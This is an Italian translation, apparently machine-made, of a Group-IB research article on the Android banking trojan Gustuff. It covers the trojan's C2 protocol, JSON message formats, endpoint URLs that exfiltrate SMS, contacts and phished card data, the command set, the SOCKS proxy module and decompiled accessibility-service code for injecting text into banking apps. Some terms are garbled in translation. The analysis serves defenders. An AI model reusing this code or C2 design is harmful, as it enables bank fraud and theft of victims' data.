Proprio l'altro giorno Group-IB sull'attività del trojan mobile Android Gustuff. Funziona esclusivamente sui mercati internazionali, attaccando i clienti delle 100 maggiori banche estere, gli utenti di 32 portafogli crittografici mobili e grandi risorse di e-commerce. Ma lo sviluppatore di Gustuff è un criminale informatico di lingua russa con il soprannome di Bestoffer. Fino a poco tempo fa elogiava il suo Trojan definendolo “un prodotto serio per persone dotate di conoscenza ed esperienza”.
Specialista nell'analisi del codice dannoso presso Group-IB Ivan Pisarev nella sua ricerca parla in dettaglio di come funziona Gustuff e quali sono i suoi pericoli.
A chi sta dando la caccia Gustuff?
Gustuff appartiene a una nuova generazione di malware con funzioni completamente automatizzate. Secondo lo sviluppatore il trojan è una versione nuova e migliorata del malware AndyBot, che dal novembre 2017 attacca i telefoni Android e ruba denaro tramite moduli web di phishing mascherati da applicazioni mobili di banche e sistemi di pagamento rinomati a livello internazionale. Bestoffer ha riferito che il prezzo di noleggio del Gustuff Bot era di $ 800 al mese.
L'analisi del campione Gustuff ha dimostrato che il trojan prende di mira potenzialmente i clienti che utilizzano applicazioni mobili delle più grandi banche, come Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, nonché portafogli crittografici Portafoglio Bitcoin, BitPay, Cryptopay, Coinbase, ecc.
Originariamente creato come un classico trojan bancario, nella versione attuale Gustuff ha notevolmente ampliato l'elenco dei potenziali bersagli degli attacchi. Oltre alle applicazioni Android per banche, società fintech e servizi crittografici, Gustuff si rivolge agli utenti di applicazioni marketplace, negozi online, sistemi di pagamento e messaggistica istantanea. In particolare PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut e altri.
Punto di ingresso: calcolo per l'infezione di massa
Gustuff si caratterizza per il “classico” vettore di penetrazione negli smartphone Android tramite invio di SMS con link ad APK. Quando un dispositivo Android viene infettato da un Trojan su comando del server, Gustuff può diffondersi ulteriormente attraverso il database dei contatti del telefono infetto o attraverso il database del server. La funzionalità di Gustuff è progettata per l'infezione di massa e la massima capitalizzazione dell'attività dei suoi operatori: ha una funzione unica di "riempimento automatico" in applicazioni bancarie mobili legittime e portafogli crittografici, che consente di accelerare e ridimensionare il furto di denaro.
Uno studio del Trojan ha dimostrato che la funzione di riempimento automatico è stata implementata utilizzando l'Accessibility Service, un servizio per persone con disabilità. Gustuff non è il primo trojan ad aggirare con successo la protezione contro l'interazione con gli elementi delle finestre di altre applicazioni che utilizzano questo servizio Android. Tuttavia, l’utilizzo del servizio di accessibilità in combinazione con un servizio di rifornimento per auto è ancora piuttosto raro.
Dopo il download sul telefono della vittima, Gustuff, utilizzando il servizio di accessibilità, è in grado di interagire con gli elementi delle finestre di altre applicazioni (bancarie, criptovalute, nonché applicazioni per acquisti online, messaggistica, ecc.), eseguendo le azioni necessarie agli aggressori . Ad esempio, su comando del server, un Trojan può premere pulsanti e modificare i valori dei campi di testo nelle applicazioni bancarie. L'utilizzo del meccanismo del servizio di accessibilità consente al trojan di aggirare i meccanismi di sicurezza utilizzati dalle banche per contrastare i trojan mobili della generazione precedente, nonché i cambiamenti nella politica di sicurezza implementata da Google nelle nuove versioni del sistema operativo Android. Gustuff, quindi, “sa come” disattivare la protezione di Google Protect: secondo l'autore, questa funzione funziona nel 70% dei casi.
Gustuff può anche visualizzare false notifiche PUSH con icone di applicazioni mobili legittime. L'utente fa clic sulla notifica PUSH e vede una finestra di phishing scaricata dal server, dove inserisce i dati della carta bancaria o del portafoglio crittografico richiesti. In un altro scenario Gustuff, viene aperta l'applicazione per conto della quale è stata visualizzata la notifica PUSH. In questo caso, il malware, su comando del server tramite il servizio di accessibilità, può compilare i campi del modulo di un'applicazione bancaria per una transazione fraudolenta.
Le funzionalità di Gustuff includono anche l'invio di informazioni su un dispositivo infetto al server, la capacità di leggere/inviare messaggi SMS, inviare richieste USSD, avviare SOCKS5 Proxy, seguire un collegamento, inviare file (incluse scansioni di foto di documenti, screenshot, fotografie) al server, ripristinare il dispositivo alle impostazioni di fabbrica.
Analisi dei malware
Prima di installare un'applicazione dannosa, il sistema operativo Android mostra all'utente una finestra contenente un elenco di diritti richiesti da Gustuff:
L'applicazione verrà installata solo dopo aver ricevuto il consenso dell'utente. Dopo aver avviato l'applicazione, il Trojan mostrerà all'utente una finestra:
Dopodiché rimuoverà la sua icona.
Secondo l'autore il Gustuff viene confezionato da un imballatore della FTT. Dopo l'avvio l'applicazione contatta periodicamente il server CnC per ricevere comandi. Diversi file da noi esaminati utilizzavano un indirizzo IP come server di controllo 88.99.171[.]105 (di seguito lo indicheremo come <%CnC%>).
Dopo l'avvio, il programma inizia a inviare messaggi al server http://<%CnC%>/api/v1/get.php.
Si prevede che la risposta sia JSON nel seguente formato:
{
"results" : "OK",
"command":{
"id": "<%id%>",
"command":"<%command%>",
"timestamp":"<%Server Timestamp%>",
"params":{
<%Command parameters as JSON%>
},
},
}Ogni volta che si accede all'applicazione, questa invia informazioni sul dispositivo infetto. Il formato del messaggio è mostrato di seguito. Vale la pena notare che i campi pieno, extra, applicazioni и autorizzazione – facoltativo e verrà inviato solo in caso di comando di richiesta da parte del CnC.
{
"info":
{
"info":
{
"cell":<%Sim operator name%>,
"country":<%Country ISO%>,
"imei":<%IMEI%>,
"number":<%Phone number%>,
"line1Number":<%Phone number%>,
"advertisementId":<%ID%>
},
"state":
{
"admin":<%Has admin rights%>,
"source":<%String%>,
"needPermissions":<%Application needs permissions%>,
"accesByName":<%Boolean%>,
"accesByService":<%Boolean%>,
"safetyNet":<%String%>,
"defaultSmsApp":<%Default Sms Application%>,
"isDefaultSmsApp":<%Current application is Default Sms Application%>,
"dateTime":<%Current date time%>,
"batteryLevel":<%Battery level%>
},
"socks":
{
"id":<%Proxy module ID%>,
"enabled":<%Is enabled%>,
"active":<%Is active%>
},
"version":
{
"versionName":<%Package Version Name%>,
"versionCode":<%Package Version Code%>,
"lastUpdateTime":<%Package Last Update Time%>,
"tag":<%Tag, default value: "TAG"%>,
"targetSdkVersion":<%Target Sdk Version%>,
"buildConfigTimestamp":1541309066721
},
},
"full":
{
"model":<%Device Model%>,
"localeCountry":<%Country%>,
"localeLang":<%Locale language%>,
"accounts":<%JSON array, contains from "name" and "type" of accounts%>,
"lockType":<%Type of lockscreen password%>
},
"extra":
{
"serial":<%Build serial number%>,
"board":<%Build Board%>,
"brand":<%Build Brand%>,
"user":<%Build User%>,
"device":<%Build Device%>,
"display":<%Build Display%>,
"id":<%Build ID%>,
"manufacturer":<%Build manufacturer%>,
"model":<%Build model%>,
"product":<%Build product%>,
"tags":<%Build tags%>,
"type":<%Build type%>,
"imei":<%imei%>,
"imsi":<%imsi%>,
"line1number":<%phonenumber%>,
"iccid":<%Sim serial number%>,
"mcc":<%Mobile country code of operator%>,
"mnc":<%Mobile network codeof operator%>,
"cellid":<%GSM-data%>,
"lac":<%GSM-data%>,
"androidid":<%Android Id%>,
"ssid":<%Wi-Fi SSID%>
},
"apps":{<%List of installed applications%>},
"permission":<%List of granted permissions%>
} Memorizzazione dei dati di configurazione
Gustuff memorizza informazioni importanti dal punto di vista operativo in un file di preferenze. Il nome del file, così come i nomi dei parametri in esso contenuti, sono il risultato del calcolo della somma MD5 dalla stringa 15413090667214.6.1<%nome%>Dove <%nome%> — nome-valore iniziale. Interpretazione Python della funzione di generazione del nome:
nameGenerator(input):
output = md5("15413090667214.6.1" + input)
Nel seguito lo indicheremo come nomeGeneratore(input).
Quindi il nome del primo file è: nomeGenerator("API_SERVER_LIST"), contiene valori con i seguenti nomi:
| Nome della variabile | Valore |
|---|---|
| nomeGenerator("API_SERVER_LIST") | Contiene un elenco di indirizzi CnC sotto forma di array. |
| nomeGenerator("API_SERVER_URL") | Contiene l'indirizzo del CnC. |
| nomeGenerator("SMS_UPLOAD") | Il flag è impostato per impostazione predefinita. Se il flag è impostato, invia messaggi SMS al CnC. |
| nomeGenerator("SMS_ROOT_NUMBER") | Numero di telefono a cui verranno inviati i messaggi SMS ricevuti dal dispositivo infetto. L'impostazione predefinita è nulla. |
| nomeGenerator("SMS_ROOT_NUMBER_RESEND") | Il flag viene cancellato per impostazione predefinita. Se installato, quando un dispositivo infetto riceve un SMS, verrà inviato al numero root. |
| nomeGenerator("DEFAULT_APP_SMS") | Il flag viene cancellato per impostazione predefinita. Se questo flag è impostato, l'applicazione elaborerà i messaggi SMS in arrivo. |
| nomeGenerator("DEFAULT_ADMIN") | Il flag viene cancellato per impostazione predefinita. Se il flag è impostato, l'applicazione dispone dei diritti di amministratore. |
| nomeGenerator("DEFAULT_ACCESSIBILITY") | Il flag viene cancellato per impostazione predefinita. Se il flag è impostato, è in esecuzione un servizio che utilizza il servizio di accessibilità. |
| nomeGenerator("APPS_CONFIG") | Un oggetto JSON che contiene un elenco di azioni che devono essere eseguite quando viene attivato un evento di accessibilità associato a un'applicazione specifica. |
| nomeGenerator("APPS_INSTALLATA") | Memorizza un elenco di applicazioni installate sul dispositivo. |
| nomeGenerator("IS_FIST_RUN") | Il flag viene resettato al primo avvio. |
| nomeGenerator("ID_UNIQUE") | Contiene un identificatore univoco. Generato al primo avvio del bot. |
Modulo per l'elaborazione dei comandi dal server
L'applicazione memorizza gli indirizzi dei server CnC sotto forma di un array codificato da Base85 linee. L'elenco dei server CnC potrà essere modificato previa ricezione dell'apposito comando, in tal caso gli indirizzi verranno memorizzati in un file di preferenze.
In risposta alla richiesta, il server invia un comando all'applicazione. Vale la pena notare che comandi e parametri sono presentati in formato JSON. L'applicazione può elaborare i seguenti comandi:
| Squadra | descrizione |
|---|---|
| avantiAvvia | Inizia a inviare i messaggi SMS ricevuti dal dispositivo infetto al server CnC. |
| avantiStop | Interrompere l'invio dei messaggi SMS ricevuti dal dispositivo infetto al server CnC. |
| ussdRun | Esegui la richiesta USSD. Il numero a cui devi effettuare una richiesta USSD si trova nel campo JSON “numero”. |
| inviare SMS | Invia un messaggio SMS (se necessario, il messaggio viene “diviso” in parti). Come parametro, il comando accetta un oggetto JSON contenente i campi "a" - il numero di destinazione e "body" - il corpo del messaggio. |
| inviaSmsAb | Invia messaggi SMS (se necessario, il messaggio viene “diviso” in parti) a tutti coloro presenti nell'elenco dei contatti del dispositivo infetto. L'intervallo tra l'invio dei messaggi è di 10 secondi. Il corpo del messaggio si trova nel campo JSON "body" |
| sendSmsMass | Invia messaggi SMS (se necessario, il messaggio viene “diviso” in parti) ai contatti specificati nei parametri del comando. L'intervallo tra l'invio dei messaggi è di 10 secondi. Come parametro, il comando accetta un array JSON (il campo "sms"), i cui elementi contengono i campi "a" - il numero di destinazione e "body" - il corpo del messaggio. |
| changeServer | Questo comando può assumere un valore con la chiave "url" come parametro - quindi il bot cambierà il valore di nameGenerator ("SERVER_URL") o "array" - quindi il bot scriverà l'array in nameGenerator ("API_SERVER_LIST") Pertanto l'applicazione modifica l'indirizzo dei server CnC. |
| adminNumero | Il comando è progettato per funzionare con un numero di root. Il comando accetta un oggetto JSON con i seguenti parametri: “number” — cambia nameGenerator(“ROOT_NUMBER”) con il valore ricevuto, “resend” — cambia nameGenerator(“SMS_ROOT_NUMBER_RESEND”), “sendId” — invia a nameGenerator(“ROOT_NUMBER” ) ID univoco. |
| aggiornare le informazioni | Invia informazioni sul dispositivo infetto al server. |
| cancellare i dati | Il comando ha lo scopo di eliminare i dati dell'utente. A seconda del nome con cui è stata avviata l'applicazione, i dati verranno cancellati completamente al riavvio del dispositivo (utente principale) oppure verranno eliminati solo i dati dell'utente (utente secondario). |
| calziniInizia | Avvia il modulo Proxy. Il funzionamento del modulo è descritto in una sezione separata. |
| calziniStop | Arrestare il modulo proxy. |
| link aperto | Segui il link. Il collegamento si trova nel parametro JSON sotto la chiave "url". "android.intent.action.VIEW" viene utilizzato per aprire il collegamento. |
| caricaTuttiSms | Invia tutti i messaggi SMS ricevuti dal dispositivo al server. |
| caricare tutte le foto | Invia immagini da un dispositivo infetto a un URL. L'URL viene fornito come parametro. |
| caricare un file | Invia un file a un URL da un dispositivo infetto. L'URL viene fornito come parametro. |
| caricare numeri di telefono | Invia i numeri di telefono dalla tua lista dei contatti al server. Se come parametro viene ricevuto un valore di oggetto JSON con la chiave “ab”, l'applicazione riceve un elenco di contatti dalla rubrica. Se come parametro viene ricevuto un oggetto JSON con la chiave “sms”, l'applicazione legge la lista dei contatti dai mittenti dei messaggi SMS. |
| changeArchive | L'applicazione scarica il file dall'indirizzo fornito come parametro utilizzando la chiave “url”. Il file scaricato viene salvato con il nome “archive.zip”. L'applicazione decomprimerà quindi il file, opzionalmente utilizzando la password di archivio “b5jXh37gxgHBrZhQ4j3D”. I file decompressi vengono salvati nella directory [memoria esterna]/hgps. In questa directory, l'applicazione memorizza i web fake (descritti di seguito). |
| azioni | Il comando è progettato per funzionare con Action Service, descritto in una sezione separata. |
| test | Facendo nulla. |
| scaricare | Il comando ha lo scopo di scaricare un file da un server remoto e salvarlo nella directory "Download". L'URL e il nome del file vengono forniti come parametro, campi nell'oggetto parametro JSON, rispettivamente: “url” e “fileName”. |
| rimuovere | Rimuove un file dalla directory "Download". Il nome del file è disponibile in un parametro JSON con la chiave "fileName". Il nome file standard è "tmp.apk". |
| notifica | Mostra una notifica con la descrizione e i testi del titolo definiti dal server di gestione. |
Formato del comando notifica:
{
"results" : "OK",
"command":{
"id": <%id%>,
"command":"notification",
"timestamp":<%Server Timestamp%>,
"params":{
"openApp":<%Open original app or not%>,
"array":[
{"title":<%Title text%>,
"desc":<%Description text%>,
"app":<%Application name%>}
]
},
},
}La notifica generata dal file in esame appare identica alle notifiche generate dall'applicazione specificata nel campo App. Se il valore del campo apri l'app — È vero, quando viene aperta una notifica, viene avviata l'applicazione specificata nel campo App. Se il valore del campo apri l'app — Falso, quindi:
- Si apre una finestra di phishing il cui contenuto viene scaricato dalla directory <%archiviazione esterna%>/hgps/<%nomefile%>
- Si apre una finestra di phishing il cui contenuto viene scaricato dal server <%url%>?id=<%ID Bot%>&app=<%Nome applicazione%>
- Si apre una finestra di phishing, mascherata da Google Play Card, con la possibilità di inserire i dati della carta.
L'applicazione invia il risultato di qualsiasi comando a <%CnC%>set_state.php come oggetto JSON nel seguente formato:
{
"command":
{
"command":<%command%>,
"id":<%command_id%>,
"state":<%command_state%>
}
"id":<%bot_id%>
}
AzioniServizio
L'elenco dei comandi inclusi nei processi dell'applicazione azione. Quando viene ricevuto un comando, il modulo di elaborazione dei comandi accede a questo servizio per eseguire il comando esteso. Il servizio accetta un oggetto JSON come parametro. Il servizio può eseguire i seguenti comandi:
1. PARAM_AZIONE — quando riceve un comando di questo tipo, il servizio riceve innanzitutto dal parametro JSON il valore della chiave Type, che può essere il seguente:
- servizioInfo – il sottocomando ottiene il valore tramite chiave dal parametro JSON includeNotImportant. Se il flag è True, l'applicazione imposta il flag FLAG_ISOLATED_PROCESS a un servizio che utilizza il servizio di accessibilità. In questo modo il servizio verrà avviato in un processo separato.
- radice - ricevere e inviare al server informazioni sulla finestra attualmente a fuoco. L'applicazione ottiene informazioni utilizzando la classe AccessibilityNodeInfo.
- Admin — richiedere i diritti di amministratore.
- ritardo — sospendere ActionsService per il numero di millisecondi specificati nel parametro della chiave "data".
- finestre — invia un elenco di finestre visibili all'utente.
- install — installa l'applicazione sul dispositivo infetto. Il nome del pacchetto archivio si trova nella chiave "fileName". L'archivio stesso si trova nella directory Download.
- globale – il sottocomando ha lo scopo di navigare dalla finestra corrente:
- nel menu Impostazioni rapide
- назад
- casa
- alle notifiche
- alla finestra delle applicazioni aperta di recente
- lanciare - avviare l'applicazione. Il nome dell'applicazione viene fornito come parametro tramite chiave dati.
- suoni — cambia la modalità audio in silenzio.
- sbloccare — accende la retroilluminazione dello schermo e della tastiera alla massima luminosità. L'applicazione esegue questa azione utilizzando WakeLock, specificando la stringa [Application lable]:INFO come tag
- permessoOverlay — la funzione non è implementata (la risposta all'esecuzione del comando è {"message":"Not support"} o {"message":"low sdk"})
- gesto — la funzione non è implementata (la risposta all'esecuzione del comando è {"message":"Not support"} o {"message":"Low API"})
- permessi — questo comando è necessario per richiedere le autorizzazioni per l'applicazione. Tuttavia, la funzione di query non è implementata, quindi il comando non ha senso. L'elenco dei diritti richiesti si presenta come un array JSON con la chiave "permessi". Elenco standard:
- android.permission.READ_PHONE_STATE
- android.permission.READ_CONTACTS
- Android.permission.CALL_PHONE
- android.permission.RECEIVE_SMS
- android.permission.SEND_SMS
- android.permission.READ_SMS
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- aprire - visualizza una finestra di phishing. A seconda dei parametri provenienti dal server, l'applicazione può visualizzare le seguenti finestre di phishing:
- Mostra una finestra di phishing il cui contenuto è scritto in un file in una directory <%directory esterna%>/hgps/<%param_filename%>. Verrà inviato il risultato dell'interazione dell'utente con la finestra <%CnC%>/records.php
- Mostra una finestra di phishing i cui contenuti sono precaricati dall'indirizzo <%url_param%>?id=<%bot_id%>&app=<%nomepacchetto%>. Verrà inviato il risultato dell'interazione dell'utente con la finestra <%CnC%>/records.php
- Mostra una finestra di phishing mascherata da Google Play Card.
- interattivo — il comando è progettato per interagire con gli elementi della finestra di altre applicazioni utilizzando AcessibilityService. Nel programma è stato implementato un servizio speciale per l'interazione. L'applicazione in esame può interagire con le finestre:
- Attualmente attivo. In questo caso, il parametro contiene l'id o il testo (nome) dell'oggetto con cui devi interagire.
- Visibile all'utente nel momento in cui viene eseguito il comando. L'applicazione seleziona le finestre in base all'ID.
Aver ricevuto oggetti AccessibilitàNodeInfo Per gli elementi della finestra di interesse, l'applicazione, a seconda dei parametri, può eseguire le seguenti azioni:
- messa a fuoco: imposta la messa a fuoco sull'oggetto.
- fare clic: fare clic su un oggetto.
- actionId: esegue un'azione in base all'ID.
- setText: modifica il testo di un oggetto. La modifica del testo è possibile in due modi: eseguire un'azione ACTION_SET_TEXT (se la versione Android del dispositivo infetto è inferiore o uguale a LECCA-LECCA), oppure inserendo una stringa negli appunti e incollandola in un oggetto (per le versioni precedenti). Questo comando può essere utilizzato per modificare i dati in un'applicazione bancaria.
2. PARAM_AZIONI - uguale a PARAM_AZIONE, arriva solo un array di comandi JSON.
Sembra che molte persone saranno interessate a come appare la funzione di interazione con gli elementi della finestra di un'altra applicazione. Ecco come viene implementata questa funzionalità in Gustuff:
boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
int count = action.optInt("repeat", 1);
Iterator aiListIterator = ((Iterable)aiList).iterator();
int count = 0;
while(aiListIterator.hasNext()) {
Object ani = aiListIterator.next();
if(1 <= count) {
int index;
for(index = 1; true; ++index) {
if(action.has("focus")) {
if(((AccessibilityNodeInfo)ani).performAction(1)) {
++count;
}
}
else if(action.has("click")) {
if(((AccessibilityNodeInfo)ani).performAction(16)) {
++count;
}
}
else if(action.has("actionId")) {
if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
++count;
}
}
else if(action.has("setText")) {
customHeader ch = CustomAccessibilityService.a;
Context context = this.getApplicationContext();
String text = action.optString("setText");
if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
++count;
}
}
if(index == count) {
break;
}
}
}
((AccessibilityNodeInfo)ani).recycle();
}
res.addPropertyNumber("res", Integer.valueOf(count));
}Funzione di sostituzione del testo:
boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
boolean result;
if(Build$VERSION.SDK_INT >= 21) {
Bundle b = new Bundle();
b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
result = ani.performAction(0x200000, b); // ACTION_SET_TEXT
}
else {
Object clipboard = context.getSystemService("clipboard");
if(clipboard != null) {
((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
result = ani.performAction(0x8000); // ACTION_PASTE
}
else {
result = false;
}
}
return result;
}Pertanto, con la corretta configurazione del server di controllo, Gustuff è in grado di compilare i campi di testo dell'applicazione bancaria e cliccare sui pulsanti necessari per completare la transazione. Il trojan non ha nemmeno bisogno di accedere all'applicazione: è sufficiente inviare un comando per visualizzare una notifica PUSH e quindi aprire l'applicazione bancaria precedentemente installata. L'utente si autenticherà, dopodiché Gustuff potrà riempire l'auto.
Modulo di elaborazione dei messaggi SMS
L'applicazione installa un gestore eventi affinché il dispositivo infetto accetti messaggi SMS. L'applicazione in studio può ricevere comandi dall'operatore, che arrivano nel corpo del messaggio SMS. I comandi sono disponibili nel formato:
7!5=<%comando codificato Base64%>
L'applicazione ricerca la stringa in tutti i messaggi SMS in arrivo 7!5=, quando viene rilevata una stringa, decodifica la stringa da Base64 all'offset 4 ed esegue il comando. I comandi sono simili a quelli del CnC. Il risultato dell'esecuzione viene inviato allo stesso numero da cui proviene il comando. Formato della risposta:
7*5=<%codifica Base64 del “comando_codice_risultato”%>
Facoltativamente, l'applicazione può inviare tutti i messaggi ricevuti al numero Root. Per fare ciò, è necessario specificare il numero Root nel file delle preferenze e impostare il flag di reindirizzamento del messaggio. Un messaggio SMS viene inviato al numero dell'aggressore nel formato:
<%Da numero%> - <%Ora, formato: gg/MM/aaaa HH:mm:ss%> <%Corpo SMS%>
Inoltre, opzionalmente, l'applicazione può inviare messaggi al CnC. Il messaggio SMS viene inviato al server in formato JSON:
{
"id":<%BotID%>,
"sms":
{
"text":<%SMS body%>,
"number":<%From number%>,
"date":<%Timestamp%>
}
}Se la bandiera è impostata nomeGenerator("DEFAULT_APP_SMS") – l'applicazione interrompe l'elaborazione del messaggio SMS e cancella l'elenco dei messaggi in arrivo.
Modulo proxy
L'applicazione in esame contiene un modulo Backconnect Proxy (di seguito denominato modulo Proxy), che ha una classe separata che include campi statici con configurazione. I dati di configurazione vengono memorizzati nell'esempio in forma chiara:
Tutte le azioni eseguite dal modulo Proxy vengono registrate nei file. Per fare ciò, l'applicazione in Archiviazione esterna crea una directory chiamata "logs" (il campo ProxyConfigClass.logsDir nella classe di configurazione), in cui vengono archiviati i file di registro. La registrazione avviene in file con nomi:
- main.txt – il lavoro della classe chiamata CommandServer viene registrato in questo file. Di seguito, la registrazione della stringa str in questo file verrà indicata come mainLog(str).
- sessione-<%id%>.txt — questo file salva i dati di registro associati a una sessione proxy specifica. Di seguito, la registrazione della stringa str in questo file verrà indicata come sessionLog (str).
- server.txt – questo file viene utilizzato per registrare tutti i dati scritti nei file sopra descritti.
Formato dei dati di registro:
<%Date%> [Thread[<%thread id%>], id[]]: stringa di registro
Anche le eccezioni che si verificano durante il funzionamento del modulo Proxy vengono registrate in un file. Per fare ciò, l'applicazione genera un oggetto JSON nel seguente formato:
{
"uncaughtException":<%short description of throwable%>
"thread":<%thread%>
"message":<%detail message of throwable%>
"trace": //Stack trace info
[
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
},
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
}
]
}Quindi lo converte in una rappresentazione di stringa e lo registra.
Il modulo Proxy viene avviato dopo aver ricevuto il comando corrispondente. Quando viene ricevuto un comando per avviare il modulo Proxy, l'applicazione avvia un servizio chiamato MainService, che è responsabile della gestione del funzionamento del modulo Proxy, avviandolo e arrestandolo.
Fasi di avvio del servizio:
1. Avvia un timer che viene eseguito una volta al minuto e controlla l'attività del modulo Proxy. Se il modulo non è attivo, lo avvia.
Anche quando l'evento viene attivato android.net.conn.CONNECTIVITY_CHANGE Viene avviato il modulo Proxy.
2. L'applicazione crea un wakelock con il parametro PARZIALE_WAKE_LOCK e lo cattura. Ciò impedisce alla CPU del dispositivo di entrare in modalità di sospensione.
3. Avvia la classe di elaborazione dei comandi del modulo Proxy, registrando prima la riga mainLog("avvia il server") и
Server::start() host[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]
dove proxy_cnc, porta_comando e porta_proxy – parametri ottenuti dalla configurazione del server Proxy.
Viene richiamata la classe di elaborazione dei comandi ComandoConnessione. Immediatamente dopo l'avvio, esegue le seguenti azioni:
4. Si connette a ProxyConfigClass.host: ProxyConfigClass.commandPort e invia lì i dati sul dispositivo infetto in formato JSON:
{
"id":<%id%>,
"imei":<%imei%>,
"imsi":<%imsi%>,
"model":<%model%>,
"manufacturer":<%manufacturer%>,
"androidVersion":<%androidVersion%>,
"country":<%country%>,
"partnerId":<%partnerId%>,
"packageName":<%packageName%>,
"networkType":<%networkType%>,
"hasGsmSupport":<%hasGsmSupport%>,
"simReady":<%simReady%>,
"simCountry":<%simCountry%>,
"networkOperator":<%networkOperator%>,
"simOperator":<%simOperator%>,
"version":<%version%>
}Dove:
- id – identificatore, tenta di ottenere un valore con il campo “id” dal file delle preferenze condivise denominato “x”. Se non è possibile ottenere questo valore, ne genera uno nuovo. Pertanto, il modulo Proxy ha un proprio identificatore, che viene generato in modo simile all'ID Bot.
- imei: IMEI del dispositivo. Se si è verificato un errore durante il processo di acquisizione del valore, al posto di questo campo verrà scritto un messaggio di testo di errore.
- imsi: identità dell'abbonato mobile internazionale del dispositivo. Se si è verificato un errore durante il processo di acquisizione del valore, al posto di questo campo verrà scritto un messaggio di testo di errore.
- modello: il nome visibile all'utente finale per il prodotto finale.
- produttore — Il produttore del prodotto/hardware (Build.MANUFACTURER).
- androidVersion - una stringa nel formato "<%release_version%> (<%os_version%>),<%sdk_version%>"
- paese: posizione attuale del dispositivo.
- partnerId è una stringa vuota.
- nomepacchetto: nome del pacchetto.
- networkType: tipo di connessione di rete corrente (esempio: "WIFI", "MOBILE"). In caso di errore restituisce null.
- hasGsmSupport – true – se il telefono supporta GSM, altrimenti false.
- simReady: stato della carta SIM.
- simCountry: codice paese ISO (basato sul fornitore della carta SIM).
- networkOperator: nome dell'operatore. Se si è verificato un errore durante il processo di acquisizione del valore, al posto di questo campo verrà scritto un messaggio di testo di errore.
- simOperator: il nome del fornitore di servizi (SPN). Se si è verificato un errore durante il processo di acquisizione del valore, al posto di questo campo verrà scritto un messaggio di testo di errore.
- versione: questo campo è memorizzato nella classe di configurazione; per le versioni testate del bot era uguale a "1.6".
5. Passa alla modalità di attesa dei comandi dal server. I comandi dal server sono disponibili nel formato:
- 0 offset – comando
- 1 offset – ID sessione
- 2 offset – lunghezza
- 4 offset - dati
Quando arriva un comando, l'applicazione registra:
mainLog("Intestazione { sessionId<%id%>], type[<%command%>], length[<%length%>] }")
Sono possibili i seguenti comandi dal server:
| Nome | Comando | Dati | Descrizione |
|---|---|---|---|
| ID connessione | 0 | ID connessione | Crea una nuova connessione |
| SLEEP | 3 | Ora | Metti in pausa il modulo proxy |
| PING-PONG | 4 | - | Invia messaggio PONG |
Un messaggio PONG è composto da 4 byte e si presenta così: 0x04000000.
Quando viene ricevuto il comando ConnectionId (per creare una nuova connessione) ComandoConnessione crea un'istanza di una classe Connessione proxy.
- Due classi prendono parte al proxying: Connessione proxy и fine. Quando crei una classe Connessione proxy collegandosi all'indirizzo ProxyConfigClass.host: ProxyConfigClass.proxyPort e passando l'oggetto JSON:
{
"id":<%connectionId%>
}In risposta il server invia un messaggio SOCKS5 che contiene l'indirizzo del server remoto con il quale deve essere stabilita la connessione. L'interazione con questo server avviene attraverso la classe fine. La struttura della connessione può essere rappresentata schematicamente come segue:
Interazioni di rete
Per impedire l'analisi del traffico da parte degli sniffer di rete, l'interazione tra il server CnC e l'applicazione può essere protetta utilizzando il protocollo SSL. Tutti i dati trasmessi sia da che verso il server sono presentati in formato JSON. L'applicazione esegue le seguenti richieste durante il funzionamento:
- http://<%CnC%>/api/v1/set_state.php — il risultato dell'esecuzione del comando.
- http://<%CnC%>/api/v1/get.php - ricevere un comando.
- http://<%CnC%>/api/v1/load_sms.php — download di messaggi SMS da un dispositivo infetto.
- http://<%CnC%>/api/v1/load_ab.php — caricamento di un elenco di contatti da un dispositivo infetto.
- http://<%CnC%>/api/v1/aevents.php – la richiesta viene effettuata durante l'aggiornamento dei parametri situati nel file delle preferenze.
- http://<%CnC%>/api/v1/set_card.php — caricamento di dati ottenuti utilizzando una finestra di phishing mascherata da Google Play Market.
- http://<%CnC%>/api/v1/logs.php – caricamento dei dati di registro.
- http://<%CnC%>/api/v1/records.php – caricamento di dati ottenuti tramite finestre di phishing.
- http://<%CnC%>/api/v1/set_error.php – notifica di un errore che si è verificato.
Raccomandazioni
Per proteggere i propri clienti dalla minaccia dei Trojan mobili, le aziende devono utilizzare soluzioni complete che consentano loro di monitorare e prevenire attività dannose senza installare software aggiuntivo sui dispositivi degli utenti.
Per fare ciò, i metodi di firma per rilevare i Trojan mobili devono essere rafforzati con tecnologie per analizzare il comportamento sia del client che dell'applicazione stessa. La protezione dovrebbe includere anche una funzione di identificazione del dispositivo tramite la tecnologia delle impronte digitali, che consentirà di capire quando un account viene utilizzato da un dispositivo atipico ed è già caduto nelle mani di un truffatore.
Un punto di fondamentale importanza è la disponibilità dell'analisi multicanale, che consente alle aziende di controllare i rischi derivanti non solo su Internet, ma anche sul canale mobile, ad esempio nelle applicazioni per il mobile banking, per le transazioni con criptovalute e qualsiasi altro dove possono essere effettuate transazioni transazione finanziaria.
Norme di sicurezza per gli utenti:
- non installare applicazioni per un dispositivo mobile con sistema operativo Android da fonti diverse da Google Play, prestare particolare attenzione ai diritti richiesti dall'applicazione;
- installare regolarmente gli aggiornamenti del sistema operativo Android;
- prestare attenzione alle estensioni dei file scaricati;
- non visitare risorse sospette;
- Non fare clic sui collegamenti ricevuti nei messaggi SMS.
Protagonista Semyon Rogacheva, specialista junior nella ricerca di malware presso il Laboratorio Computer Forensics del Gruppo-IB.
Fonte: habr.com